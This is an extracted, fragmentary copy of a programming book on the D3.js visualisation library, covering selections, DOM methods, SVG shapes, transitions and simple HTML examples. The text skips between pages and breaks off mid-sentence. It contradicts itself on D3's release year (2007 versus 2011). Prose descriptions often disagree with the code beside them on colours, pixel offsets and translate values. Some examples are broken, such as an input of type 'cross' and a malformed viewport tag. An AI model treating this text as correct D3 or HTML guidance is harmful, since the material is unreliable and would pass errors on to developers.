Conquering JavaScript D3js
Conquering JavaScript D3js
JavaScript has become the de facto standard when it comes to both web and cross-
platform development. D3.js is an extremely popular JS framework, meant for rap-
id web and application development.
Conquering JavaScript: D3.js helps the reader master the D3.js framework for
faster and more robust development. The book is a detailed guide that will help
developers and coders do more with D3.js. It discusses the basics in brief, and then
moves on to more advanced and detailed exercises to help readers quickly gain the
required knowledge.
Key Features:
This book is a valuable reference for D3.js developers as well as those involved in
game development, mobile apps, progressive applications, and now even desktop
apps.
About the Series
https://w w w.routledge.com/Conquering-JavaScript/book-series/
CRCCONJAV
Conquering JavaScript
D3.js
Edited by
Sufyan bin Uzayr
First edition published 2024
by CRC Press
2385 Executive Center Drive, Suite 320, Boca Raton, FL 33431
and by CRC Press
4 Park Square, Milton Park, Abingdon, Oxon, OX14 4RN
CRC Press is an imprint of Taylor & Francis Group, LLC
© 2024 Sufyan bin Uzayr
Reasonable efforts have been made to publish reliable data and information, but the author and
publisher cannot assume responsibility for the validity of all materials or the consequences of their use.
The authors and publishers have attempted to trace the copyright holders of all material reproduced in
this publication and apologize to copyright holders if permission to publish in this form has not been
obtained. If any copyright material has not been acknowledged please write and let us know so we may
rectify in any future reprint.
Except as permitted under U.S. Copyright Law, no part of this book may be reprinted, reproduced,
transmitted, or utilized in any form by any electronic, mechanical, or other means, now known or
hereafter invented, including photocopying, microfilming, and recording, or in any information
storage or retrieval system, without written permission from the publishers.
For permission to photocopy or use material electronically from this work, access www.copyright.com
or contact the Copyright Clearance Center, Inc. (CCC), 222 Rosewood Drive, Danvers, MA 01923,
978-750-8400. For works that are not available on CCC please contact mpkbookspermissions@tandf.
co.uk
Trademark Notice: Product or corporate names may be trademarks or registered trademarks and are
used only for identification and explanation without intent to infringe.
DOI: 10.1201/9781003356608
Typeset in Minion
by KnowledgeWorks Global Ltd.
For Dad
Contents
CODE TUTORIALS 63
Creating a Feeling of Motion 63
Within Bounded Constraints, Infinite Movement 63
CONFIGURE THE GAME PROJECT 64
Addition of Webpack Files 65
Typescript Environment Configuration 68
SETTING THE TONE FOR THE GAME 69
SETTING THE STAGE 69
IMAGINING THE SKY 73
FINAL SCENE PLANNING 74
INCLUDING GAMEPLAY LOGIC 78
Input through Keyboard 78
Input via Touchscreen 79
OBJECTS IN OUR SCENE THAT ARE MOVING 80
detectCollisions 82
addBackgroundBit 87
addChallengeRow 88
THE FINAL TOUCHES TO OUR RENDER LOOP 89
UI DESIGN FOR THE GAME 90
SUMMARY 93
NOTES 93
CROSSHAIRS 193
SUMMARY 194
NOTE 194
BIBLIOGRAPHY, 195
INDEX, 197
About the Editor
Sufyan bin Uzayr is a writer, coder, and entrepreneur with over a decade of
experience in the industry. He has authored several books in the past, per-
taining to a diverse range of topics, ranging from History to Computers/
IT.
Sufyan is the Director of Parakozm, a multinational IT company spe-
cializing in EdTech solutions. He also runs Zeba Academy, an online
learning and teaching vertical with a focus on STEM fields.
Sufyan specializes in a wide variety of technologies, such as JavaScript,
Dart, WordPress, Drupal, Linux, and Python. He holds multiple degrees,
including ones in Management, IT, Literature, and Political Science.
Sufyan is a digital nomad, dividing his time between four countries. He
has lived and taught in numerous universities and educational institutions
around the globe. Sufyan takes a keen interest in technology, politics, lit-
erature, history, and sports, and in his spare time, he enjoys teaching cod-
ing and English to young students.
Learn more at sufyanism.com
xvi
Acknowledgments
There are many people who deserve to be on this page, for this book would
not have come into existence without their support. That said, some names
deserve a special mention, and I am genuinely grateful to:
xvii
Zeba Academy –
Conquering JavaScript
• Divya Sachdeva
• Jaskiran Kaur
• Simran Rao
• Aruqqa Khateib
• Suleymen Fez
• Ibbi Yasmin
• Alexander Izbassar
Zeba Academy is an EdTech venture that develops courses and content for
learners primarily in STEM fields, and offers educational consulting and
mentorship to learners and educators worldwide.
xviii
Chapter 1
Introduction to D3.js
IN THIS CHAPTER
This chapter looks at why we need data visualizations and how to distrib-
ute them over the web to meet our communication goals. We will discuss
the basic concept of a data visualization application using d3 and its vari-
ous components.
Let’s start by understanding the basics of data visualization.
DOI: 10.1201/9781003356608-1 1
2 ◾ Conquering JavaScript: D3.js
Applications of D3.js.
Introduction to D3.js ◾ 3
• DOM (Document Object Model): When you write HTML code for
a page, the browser converts it into a hierarchical structure. Every
HTML tag is turned into a DOM element with a parent-child struc-
ture. It improves the logical structure of your HTML. It is easy
to manipulate (add/modify/remove) the items on the page once
the DOM has been constructed. The initial “D” in D3 stands for
Document, as we learned in the first chapter. D3 provides you with
the ability to change the DOM using your data.
4 ◾ Conquering JavaScript: D3.js
• CSS (Cascading Style Sheets): HTML gives your web page struc-
ture, while CSS styles it to make it more appealing to the eye. It’s a
stylesheet language for describing the appearance of an HTML or
XML document (including XML dialects like SVG or XHTML). CSS
specifies how elements on a web page should be displayed.
Example:
Many <Script> tag
<!DOCTYPE html>
<html>
<head>
<title>JavaScript Demo</title>
<script>
alert('Hello JavaScript 1')
</script>
</head>
<body>
<h1> JavaScript Tutorials</h1>
<script>
alert('Hello JavaScript 2')
</script>
<p>This page contains many script tags.</p>
</body>
</html>
SETTING UP A D3 ENVIRONMENT
We’ll learn how to set up a D3.js development environment in this part.
D3 is compatible with all modern browsers, and the current version of
D3.js is 7. (v7).
But before we begin, you’ll require the following items:
• Library D3
• Web browser
6 ◾ Conquering JavaScript: D3.js
• Editor
• Webserver
• Step 1: Library D3: To use D3 for data visualization, you must include
the D3.js library in your HTML webpage. There are two ways to do it:
• Include the D3 library in the assignment folder.
• CDN’s D3 library should be included (Content Delivery Network).
Very first step is to get a copy of the D3 library, and we need
to visit: https://d3js.org/ and we need to download the latest ver-
sion of the D3 zip folder, followed by unzipping the folder and
going to d3.min.js (Minified version of D3 source code). Create
an assignment folder on the desktop and copy this D3 source
code along with other library files.
<!DOCTYPE html>
<head>
<script src="./d3.min.js"></script>
</head>
<body>
</body>
</html>
Introduction to D3.js ◾ 7
<!DOCTYPE html>
<html lang = "en">
<head>
<script src = "https://d3js.org/d3.v4.
min.js"></script>
</head>
<body>
<script>
// write your d3 code here...
</script>
</body>
</html>
ADVANTAGES OF D3.js
D3.js has numerous advantages as a sophisticated visualization tool.
• It’s free to use. As a result, the source code is available for free. The
developer can also download it and manipulate it.
• D3.js features a large community of developers who are constantly
improving the library, as well as a large library of projects to learn it.
• D3.js is versatile and simplified from a technological standpoint to
operate with different JavaScript frameworks as well as common web
standards like SVG, HTML5, and CSS.
• D3.js is incredibly flexible since it efficiently manipulates documents
depending on data.
DISADVANTAGES OF D3.js
Some D3.js functions are not supported by older browsers.
APPLICATIONS
Its benefits are desirable in a variety of data visualization disciplines. The
following are some of the primary domains where D3 is used:
Now after gaining basic terms about D3.js in the above section, let us
now see some core concepts about it in the next section.
CORE CONCEPT
Now that we have covered a brief introduction to D3.js now, let us cover a
few vital aspects pertaining to D3.js.
The World Wide Web, known as the web, is the world’s most widely
used information transmission technology. JavaScript is also widely
used. It runs on browsers and servers, and millions of devices use it.
It is the world’s most important programming language. Many data
visualization technologies are accessible when we need to develop a
data visualization for global distribution. What should we do with
them?
Clearly, the answer to all these questions is d3.js, and in this chap-
ter, we will discover how it is the best-suited application for data
visualization.
D3.js is a strong charting framework that was first released in 2007. It
is best suited for complicated and unusual data representations. Everyone
relishes attractive images, and sharing as beautiful images is the greatest.
“A picture is worth a thousand words,” as the saying goes, and it’s true:
visuals are processed far faster in the brain than text.
Web communication experts advise using visuals, particularly well-
designed and simple-to-understand infographics.
It took some time for those of us who deal with data visualization
to realize that information can be both attractive and worthwhile. The
capability to make deep and rich explorations while appealing to the
audience with beauty is enabled by interactive graphics and innovative
inventiveness.
WHAT IS D3.js?
Now we have learned enough about data visualization. Now let us return
to an understanding of D3. It stands for Data-Driven Documents. D3.js
(https://d3js.org/) has been the actual standard for creating complex data
visualizations on the Web since its inception in 2011. It’s a JavaScript
frontend visualization framework for building interactive and dynamic
web-based data visualizations. It also has a large and active community,
and the name imitates the tool’s capability to link data values to docu-
ment essentials. In doing so, D3 “extracts” the Document from data and
Introduction to D3.js ◾ 13
SYNTAX
The majority of the selection, transition, and data binding operations in
D3 are performed via JavaScript functions. CSS is also important for styl-
ing the components. JavaScript functions can also be built to read data in
a variety of formats.
• Before working on a dataset, the most important process is Selection,
which involves retrieving data from the dataset. D3 facilitates the selec-
tion task by sending a specified tag to the select function as a parameter.
Notice how all the items that are a subset of the pre-tag, are tran-
sitioned appropriately in the given example.
For more complex applications, D3 makes use of loaded data for object
creation and manipulation, attribute insertion, and transitioning. The
Data Binding section includes all of these actions. Furthermore, utilizing
the D3 framework, animations, transitions, and properties may be created
and changed with minimal effort. Helper functions can handle all aspects
of action handling. Because D3 focuses on abstraction, most of the inter-
nal operations or executions are concealed from the end-user, making it
easier to use. The D3 framework can perform more complex tasks, such as
retrieving data from a different dataset format, such as a.csv or JSON file.
LOADING DATA IN D3
We’ve seen what data means to D3 and how to connect it to our choices.
But thus far, we’ve only utilized data we’ve written ourselves, such as fruits =
[‘Apple, Orange, Mango’].
In actuality, this isn’t always the case; you might need to use an API or
a local file to get data.
D3 provides a few techniques for loading different sorts of files:
• d3.json
• d3.csv
• d3.xml
• d3.tsv
• d3.text
Introduction to D3.js ◾ 15
// async-await
const data = await d3.csv("/path/to/file.csv");
console.log(data);
// or
d3.json("/path/to/file.json").then((data) =>
{ console.log(data); })
THE D3 SCALES
So far, you’ve learnt how to load and use data with D3.js. Now it’s time to
study scales. For most people, this is the most difficult aspect to grasp, yet
it is also the most crucial notion in D3.
The d3.scale function accepts data and outputs a visual result in pixels.
A domain and a range must be specified for d3.scale. The domain estab-
lishes a LIMIT for the data we’re seeking to visualize.
FEATURES OF D3.js
D3.js is a powerful data visualization framework that allows you to create
basic and complicated representations with user interaction and transi-
tion effects. The following are some of its most notable features.
D3.js Selection
const SVG = d3.select ("body")
.append ("SVG")
.attr ("width", 500)
.attr ("height", 100)
.style ("background-color", "blue");
Constantly Improved
The JavaScript library is constantly evolving and maintaining its rele-
vance. D3.js is no exception, as it has been upgraded multiple times in the
last few years. It became more modular, dividing the library into multiple
submodules and flattening the namespaces. Better canvas support, immu-
table selections, and shared transitions were added to the contemporary
version. The data request APIs were altered to use promises, and several
color scales were deleted. The update procedure was less involved and
troublesome than with the previous version.
benefits, we must use it and learn when to use it. When our web applica-
tion interacts with data, we should use D3.js. We can investigate D3.js’
graphing features and improve its usability. It may be introduced to the
front end of our web application since the data is generated by the backend
server and the frontend section of the application uses D3.js to interact
with the data.
We’ve already covered data visualization fundamentals, d3.js fron-
tend visualization library concepts, and where and when to use the
d3.js library; now, let’s look at some of the d3 use cases, such as d3 with
complex code also provides reusable code that can be reused in other
visualizations, d3 can also be used to react, and storytelling with custom-
ized and visualizations, which is the most important use case, can all be
accomplished with d3.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>A simple HTML file | D3.js in Action
</title>
</head>
<body>
<h1>I am a title</h1>
<div>
<p>I am a paragraph.</p>
<p>I am another paragraph.</p>
</div>
</body>
</html>
Attributes are used in SVG elements to control the location, size, and
proportions of the various shapes. The “checked” property of a check box,
for example, is true if the box is checked and false if it is unchecked.
D3 is used to select DOM elements: D3 allows us to edit DOM elements in
an HTML document, but we must first choose a specific element or collec-
tion of components and then manipulate those elements using D3 methods.
D3 GLOBAL OBJECT
We have learned that must include the D3 library d3.min.js in our HTML
page. This creates a global JavaScript object called D3, which contains all
of the necessary functions to get started, similar to how jQuery creates a
global object called jQuery (or $).
SELECTION OF DOM
Before modifying DOM elements, we must first obtain their references
using the methods below:
Method Description
d3.select(CSS-selector) Based on the provided CSS-selector, it returns the first matched
element in the HTML document.
d3.selectAll(css-selector) Based on the provided CSS-selector, it returns all matched
elements in the HTML document.
d3.select ()
Based on the provided CSS-elector, d3.select () method returns the first
element in the HTML document.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
Introduction to D3.js ◾ 21
<body>
<p>I LOVE Coding</p>
<p> HELLO WORLD</p>
<script>
d3.select("p").style("color", "yellow");
</script>
</body>
</html>
The d3.select(“p”) method returns the first p> element in the above
example, and the.style(“color”,“red”) method sets the color attribute to red.
Element Id Selection
As illustrated below, the d3.select() method can also be used to fetch an
element with a specific id:
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p id="p1">I LOVE coding</p>
<p id="p2">HELLO WORLD</p>
<script>
d3.select("#p2").style("color", "green");
</script>
</body>
</html>
d3.select(“#p2”) picks the p> element with the id p2 and applies the.
style() method to color it red, as shown in the example above.
As a consequence, you may use d3’s select method to select the first
matched element ().
d3.selectAll()
Based on the provided CSS selector, the d3.selectAll() method returns all
matching items in the HTML document. The below example chooses all
elements by tag name.
22 ◾ Conquering JavaScript: D3.js
<!doctype html>
<html>
<head>
<meta HTTP-equiv="Content-type" content="text/
HTML; charset=utf-8"/>
<script src="https://d3js.org/d3.v4.min.js"></
script>
</head>
<body>
<p>I LOVE Coding </p>
<p> HELLO WORLD</p>
<script>
d3.selectAll("p").style("color", "pink");
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta HTTP-equiv="Content-type" content="text/
HTML; charset=utf-8"/>
<script src="https://d3js.org/d3.v4.min.js">
</script>
<style>
.myclass{
color:blue
}
</style>
</head>
<body>
<p class="myclass ">I LOVE MY COUNTRY</p>
<p>HELLO WORLD</p>
<p class="myclass ">BLISS</p>
Introduction to D3.js ◾ 23
<script>
d3.selectAll(".myclass ").style('color',
'red');
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<table>
<tr>
<td>
four
</td>
<td>
five
</td>
</tr>
<tr>
<td>
six
</td>
<td>
seven
</td>
</tr>
</table>
<script>
24 ◾ Conquering JavaScript: D3.js
d3.select("tr").selectAll("td").
style('background-color','pink');
</script>
</body>
</html>
Method Description
text(“Content”) Gets or sets the chosen element’s text.
append(“element name”) Inserts a new element inside the specified element, but
just before the end.
insert (“element name”) Adds a new element to the currently chosen element.
remove() Removes the specified element from the DOM HTML
with
HTML (“Content”) Gets or sets the selected element’s inner
attr (“name,” “value”) On the selected element, gets or sets an attribute.
Property (“name,” “value”) On the selected element, gets or sets an attribute.
style (“name” “value”) The specified element’s style is returned or set.
Classed (“css class,” bool). Gets adds or removes a CSS class from the selection
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
Introduction to D3.js ◾ 25
<body>
<div>
<p></p>
</div>
<p></p>
<script>
d3.select("p").text("I LOVE MY COUNTRY.")
</script>
</body>
</html>
Using d3, we select the first matching p> element within div> in the
example above. select(“p”). .text(“This is paragraph.”) inserts “I LOVE MY
COUNTRY” text to the selected paragraph element after the <p> element
is selected.
Because we used the d3.select() technique, the text will only be added
to the first matched element. If we use the d3.selectAll() method, all <p>
elements will have text added to them.
append()
Use d3.selection append to add a new DOM element to the end of a selected
DOM element, use the append() function.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>First </p>
<p>Second</p>
<script>
d3.select("body").append("p");
</script>
</body>
</html>
In the example above, d3.select (“body”) returns the body element, and.
append (“p”) adds a new <p> element exactly before the end of the body.
26 ◾ Conquering JavaScript: D3.js
When you open the developer console, you’ll notice a new empty <p> ele-
ment. The text () method can be used to add text to the new element, as
seen below:
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>First </p>
<p>Second </p>
<script>
d3.select("body").append("p").text("Third .");
</script>
</body>
</html>
D3 adds a new <p> element with the content “Third.” before the closing
body tag <body> in the example above.
Insert()
Create a new element and put it before the selected element’s terminating
tag using the d3.selection.insert() method.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<div style="border:10px solid">
<p>First.</p>
</div>
<script>
d3.select("div").insert("p").text("Second.");
</script>
</body>
</html>
Introduction to D3.js ◾ 27
Remove()
Use d3.selection.remove () method to delete selected DOM elements.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>First</p>
<p>Second</p>
<script>
d3.select("p").remove();
</script>
</body>
</html>
We had two <p> items to begin with in the previous example; d3.select
(“p”) returns the first <p> element, and .remove () deletes it from the
page.
html()
The d3.selection.html() method is used to set the inner HTML of selected
elements.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>First paragraph</p>
<script>
28 ◾ Conquering JavaScript: D3.js
attr()
Use d3.selection instead. To apply attributes to chosen DOM elements, use
the attr() function.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
<style>
.error {
color: red
}
</style>
</head>
<body>
<p>Error: This is error.</p>
<script>
d3.select("p").attr("class","error");
</script>
</body>
</html>
property()
Attributes of specific components, such as the checked attribute of a
checkbox or the radio button, cannot be set by the attr() method. Use the
Introduction to D3.js ◾ 29
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>D3</label><input type="cross" />
<p>jQuery</label><input type="checkbox" />
<script>
d3.select("input").property("cross",true);
</script>
</body>
</html>
style()
Use d3.selection instead to apply a style attribute with the supplied name
and value to the selected items, use the style() function.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
</head>
<body>
<p>Error: This is error.</p>
<script>
d3.select("p").style("color", "green")
</script>
</body>
</html>
30 ◾ Conquering JavaScript: D3.js
classed()
Use d3.selection instead.
To set the class attribute or edit the classList property of the selected
elements, use the classed() function.
<!doctype html>
<html>
<head>
<script src="https://d3js.org/d3.v4.min.js">
</script>
<style>
.error {
color: green
}
</style>
</head>
<body>
<p>This is error.</p>
<script>
d3.select("p").classed('error', true);
</script>
</body>
</html>
readers. SVGs are also performant if built correctly, with file sizes that
are a fraction of those of raster images. When creating data visualizations
with D3, we usually inject SVG shapes into the DOM and modify their
attributes to generate the visual elements that compose the visualization.
Understanding how SVG works, the main SVG shapes and their presenta-
tional attributes are essential to most D3 projects.
The first and foremost work that we have to do is to download ready-to-
use code from the GitHub repository. Let’s start exploring vector graphics.
We need to go to the ready-to-use code files (SVG_Shapes_Gallery) and
right-click on the file index.html.
Select a browser from the menu under Open with. Because of their
excellent inspector features, we recommend using Chrome or Firefox.
You’ll see a vector graphic when the file opens in a new browser tab.
Suv graphics.
The SVG graphic you are looking at contains the shapes you will use
most often as you create D3 visualizations: lines, rectangles, circles,
ellipses, paths, and text.
When working with D3, you usually tell the library which shape(s) it
should append to the DOM. You are also responsible for knowing which
presentational attributes need to be calculated for the shape(s) to have the
dimensions, color, and position that you are looking for.
Let us write the code for each of the SVG elements shown in the above
figure of shape from below-mentioned source (https://d3js-in-action-
third-edition.github.io/svg-shapes-gallery/).
Open the file index.html from the SVG Shapes Gallery start folder in
your favorite code editor. We recommend Visual Studio Code, a free, easy-
to-use code editor with a variety of essential features for front-end devel-
opment. We propose Visual Studio Code, a code editor that is free, simple
to use, and offers a number of features useful for front-end development.
As you can see, index.html is a straightforward HTML document. You
will only see a blank page if you open this file in your browser (right-click
32 ◾ Conquering JavaScript: D3.js
on the file and select a browser from the Open with menu). This is due to
the fact that the <body> element is empty. We’ll add SVG shapes to this
<body> element in the next subsections.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="wide=device-wide,
initial-scale=1.0">
<title>SVG Shapes Gallery | D3.js in Action</title>
</head>
<body>
</body>
</html>
<body>
<svg></svg>
</body>
The cartesian coordinate system and the SVG coordinate system are
similar. Its 2D plane uses two perpendicular axes to determine the posi-
tion of elements, referred to as x and y.
Now let us see some of the SVG shapes that we will come across a lot
while working on D3 applications. We will also discuss their main presen-
tational attributes. The purpose here isn’t to give a thorough tutorial on all
of SVG’s shapes and features but rather to cover the fundamentals that will
help you along your D3 journey.
Line
The line element is the most basic of all the SVG shapes. It draws a
straight line between two points with their positions set as attributes.
Return to index.html and insert a line /> element within the SVG con-
tainer. Give the attributes x1 and y1 values of 60 and 55, respectively.
This signifies that the starting point of our line is at (60, 55) in the SVG
container’s coordinate system. You may find the line’s starting point by
starting at the top-left corner of the SVG container, moving 10px to the
right, and 15px down. Set the line’s endpoint to (150, 325) using the x2
and y2 attributes.
<svg>
<line x1="60" y1="55" x2="150" y2="325" />
</svg>
Rectangle
The rectangle element <rect /> draws a rectangular form on the screen, as
its name suggests. To be visible, the <rect /> element must have four prop-
erties. The parameters x and y define the position of the rectangle’s top-left
corner, while width and height define its width and height, respectively. In
your SVG container, add the following <rect /> element and its attributes.
By assigning the fill attribute to any CSS color, we may change the color.
If we want to give the rectangle a border, we use the stroke attribute.
Path
Paths in SVG are by far the most adaptable of all SVG elements. They’re
used a lot in D3 to draw pretty much all the complex forms and curves that
can’t be represented by one of the shape primitives we’ve talked about so
far (line, rectangle, circle, and ellipse).
By declaring the d attribute, we tell the browser how to create a path.
The d attribute comprises a series of commands, ranging from where to
begin drawing the path to what types of curves to employ and whether or
not the path should be closed. Another thing to understand about paths is
that unless the fill attribute is set to none or transparent, browsers will fill
them with black.
Text
One of the most appealing features of inline SVG visuals is that they can
include navigable text, just like any other HTML text included in a div
Introduction to D3.js ◾ 35
<text>line</text>
Another point to consider when working with SVG text is how the text
will flow. Regular HTML elements are placed on the page according to
particular criteria that govern content flow. If you put a bunch of <div>/
div> components on your website, they’ll automatically stack on top of
each other, and their content will reflow so that it never leaves its con-
tainer. SVG text does not flow, and each SVG element must be placed sepa-
rately. Setting their x and y characteristics is one option. The label “line”
will display below the SVG line in our gallery of forms if we use these
properties to place our text at (40, 160).
GROUPING ELEMENTS
The group element is the last SVG element we’ll look at in this section. The
group or g> element differs from the other SVG elements in that it has no
graphical representation and does not exist as a bounded space. Rather,
it’s a logical arrangement of pieces. When developing visualizations with
multiple shapes and text elements, you’ll want to use groups a lot.
If we want the square and the “rect” label to appear together and move
as one within the gallery of forms, we can put them both inside a <g> ele-
ment, as seen in the example below. Note how the <rect> element’s top-left
corner has been altered to (10, 30). To keep the text below the <rect>, it is
placed at (0, 45).
<g>
<rect x="10" y="20" width="30" height="50" />
<text x="0" y="45">rect</text>
</g>
36 ◾ Conquering JavaScript: D3.js
Moving a group around the SVG container is done with the transform
attribute. The transform attribute is a little more intimidating than the
attributes discussed so far but is identical to the CSS transform property.
It takes a transformation (translate, rotate, scale, etc.) or a stack of trans-
formations as values. To move a group, we use the translate(x, y) transfor-
mation. If we want to move our <rect> and <text> elements back to their
original position, we need to apply a translation of 260 pixels to the right
and 175 pixels down to the <g> element. To do so; we set its transform
attribute to transform=“translate(510,55)”.
or via an external stylesheet. Inline styles are applied to elements with the
style attribute, as shown in the following example. The style attribute can
be used on both HTML and SVG elements, and D3 includes a convenient
method for setting or changing it.
.my-class {
Font-size: 14 px;
Font-family: serif;
}
In the DOM:
JavaScript
The D3 library is a JavaScript library. It extends JavaScript’s fundamental
functionality by adding new functions. This means that a little bit of prior
experience with JavaScript is helpful when working with D3. It also means
that you have access to all existing JavaScript functionalities when creat-
ing D3 projects.
38 ◾ Conquering JavaScript: D3.js
METHODS CHAINING
When looking for D3 project examples online, you’ll discover that
methods are called one after the other on the same Selection. This is
known as method chaining, and it aids in keeping the code simple and
legible.
Breaking lines, which JavaScript ignores, and indenting chained meth-
ods are very popular in D3. The indentation lets us see whatever piece
we’re working on, making the code easier to read.
d3.selectAll("div")
.append("p")
.attr("class", "my-HOME")
.text("Now")
.append("span")
.text("More Now")
.style("font-weight", "500");
arrayOfNumbers[0] // => 15
arrayOfStrings[2] // => "RED"
DATA STANDARDS
We’ve established common ways of displaying different types of data,
which is one reason we have the freedom to create so many wonderful data
visualizations. Data can be presented in a variety of ways for various rea-
sons, but it usually falls into one of many categories: tabular data, nested
data, network data, geographic data, raw data, and objects.
Introduction to D3.js ◾ 39
The inner radius() function distinguishes between pie and donut charts;
pie charts have a radius of zero on the inside.
Treemap charts are widely used to portray hierarchies where the com-
parative values of each item must also be displayed. You’ve probably seen
graphs like these in tools that show you which folders use up the most
space on your hard drive. It's commonly used for this activity because it
allows you to see which folders are nested inside which ones, as well as
their sizes. Treemaps are also commonly used to illustrate governmental
finances, where each department can have numerous sub-departments,
each of whose budgets contributes to the parent department’s total budget.
The data used by the treemap layout is often in the form of a root object
that contains nested objects within it, with only leaf objects (objects with-
out children) having values.
Because it is a member of the hierarchal layout family, the Pack Layout
produces a superior chart using the same data we currently have. The
pack layout, like the treemap, is used to display hierarchies, but unlike the
treemap, the focus is on the parent-child relationships between the items
presented rather than the size of each item.
among not only data scientists but also journalists, artists, historians, IT
workers, and even fan communities.
The relative ease with which a dataset can be modified to appear in a
streamgraph, treemap, or histogram can make the assumption that infor-
mation visualization is more about appearance than substance seems
overpowering. Fortunately, well-established principles specify which
charts and methods to employ for certain data kinds and systems.
Although D3 allows developers to experiment with color and style, the
majority of them seek to create data visualizations that address practical
challenges. D3 contains numerous helper functions to allow developers to
focus on interface and design rather than color and axes because it is being
developed in this mature information visualization environment.
When creating your initial visualization projects, keep things simple –
a histogram is frequently preferable to a violin plot, and hierarchical net-
work architecture (such as a dendrogram) is preferable to a force-directed
one. The more visually complicated techniques of displaying data tend to
elicit more enthusiasm, but they can also cause an audience to see only
what they want to see or to focus on the graphics’ aesthetics rather than
the data. There’s nothing wrong with making stunning visuals, but we
must never lose sight of the fact that the primary purpose of any data
visualization is to tell a story.
However, you must know what to do and what not to do in order to
correctly deploy information visualization. You must have a thorough
understanding of both your data and your target audience. D3 gives us
tremendous flexibility, but “with great power comes great responsibility,”
as the saying goes. While it’s helpful to know that different charts are bet-
ter suited to represent certain types of data, it’s even more vital to under-
stand that data visualizations can be misleading if they’re not designed
with care and from a knowledgeable standpoint.
RECAP OF BASICS
“Form follows function,” as they say in the domains of industrial design
and architecture. Using data visualization to express your message is a
combination of art and science.
You must always consider what type of visualization will help you under-
stand your findings better. You must also consider the media you employ.
Animations perform well in online resources and on television, but not in
a newspaper or book. Always be on the search for potential concepts, and
don’t be afraid to attempt something different when the chance arises. As
a result, the following points will summarize the entire story in a nutshell:
• When you want complete creative and technical control over your
data visualizations, D3 is the solution to use.
• D3 applications are styled and delivered in the same way that tradi-
tional web content is.
• HTML, CSS, JavaScript, SVG, Canvas, and frameworks like React or
Svelte are all part of an ecosystem of technologies and tools that we
use to create rich online interfaces.
• Lines, rectangles, circles, ellipses, pathways, and text are the most
common SVG shapes we employ when creating data visualizations.
44 ◾ Conquering JavaScript: D3.js
TRANSITION CHAINING
Transitions are one of D3.js’ most popular features. They’re simple to set
up and may accommodate any type of data or desired aesthetic. However,
did you know that from a single event, you can chain many transitions to
occur in order?
Transition chaining allows you to add a new level of interaction to your
data by implementing intricate animation-like transitions. Unlike con-
ventional transitions, which happen all at once, each chained transition
waits for the preceding one to finish before starting the next.
Chain transitions are useful for demonstrating future impacts or high-
lighting specific aspects throughout a presentation.
Let us understand that with a typical example:
Let us imagine that a Pink circle will be moved to the right side of the
screen, turn Yellow, and then grow in size.
Introduction to D3.js ◾ 45
<!DOCTYPE html>
<meta charset="utf-8">
<body>
<!-- load the d3.js library -->
<script src="https://d3js.org/d3.v6.min.js"></script>
<script>
var SVG = d3.select("body") // Select the body
element
.append("SVG") // Append an SVG element
to the body
.attr("width", 760) // make it 760 pixels wide
.attr("height", 500) // make it 500 pixels high
.append("circle") // append a circle to the
SVG
.style("fill", "Pink") // fill the circle with
'Pink'
.attr("r", 40) // set the radius to 15
pixels
.attr('cx', 20) // position the circle at
20 on the x-axis
.attr('cy', 200) // position the circle at
200 on the y axis
.transition() // apply a transition
.duration(4500) // apply it over 4500
milliseconds
.attr('cx', 950) // new horizontal position
at 950 on x-axis
.attr('r', 80) // new radius of 80 pixels
.style('fill', "Yellow"); // new colour yellow
</script>
</body>
We’ll need the <a> tag and the x link keyword for this. A hyperlink is
defined by the <a> tag in an HTML file. Items enclosed in a <a> tag will
become a hyperlink to another website. So we’ll start by making a <a> tag
and then appending our D3.js and SVG object to it.
We’ll make the computer ignore the text and only interact with the
rectangle element rather than attaching both the text and the rectangle to
the link. When drawing our text, we may use the pointer-events style to
accomplish this. When we set it to none, we’re telling our mouse to disre-
gard any potential interactions with the text when it hovers over it instead
of registering the link on the rectangle below it.
<!DOCTYPE html>
<meta charset="utf-8">
<body>
<script>
// draw a rectangle
holder.append("a")
.attr("xlink:href", "http://en.wikipedia.org/
wiki/"+word)
.append("rect")
.attr("x", 200)
.attr("y", 100)
.attr("height", 200)
.attr("width", 400)
.style("fill", "green")
Introduction to D3.js ◾ 47
.attr("RX", 50)
.attr("ry", 50);
</script>
</body>
<!DOCTYPE html>
<body>
<table border="1">
<tr>
48 ◾ Conquering JavaScript: D3.js
<th>Header 2</th>
<th>Header 4</th>
</tr>
<tr>
<td>row 2, cell 2</td>
<td>row 4, cell 5</td>
</tr>
<tr>
<td>row 2, cell 1</td>
<td>row 2, cell 2</td>
</tr>
</table>
</body>
<table> tags are used to encapsulate the full table; <tr> tags are used to
separate each row. There are two entries in each row, which correspond to
the two columns. Except for the first row, which serves as a header, each
cell’s data is included in a <td> tag. The special tag <th> in a header makes
it bold and centered.
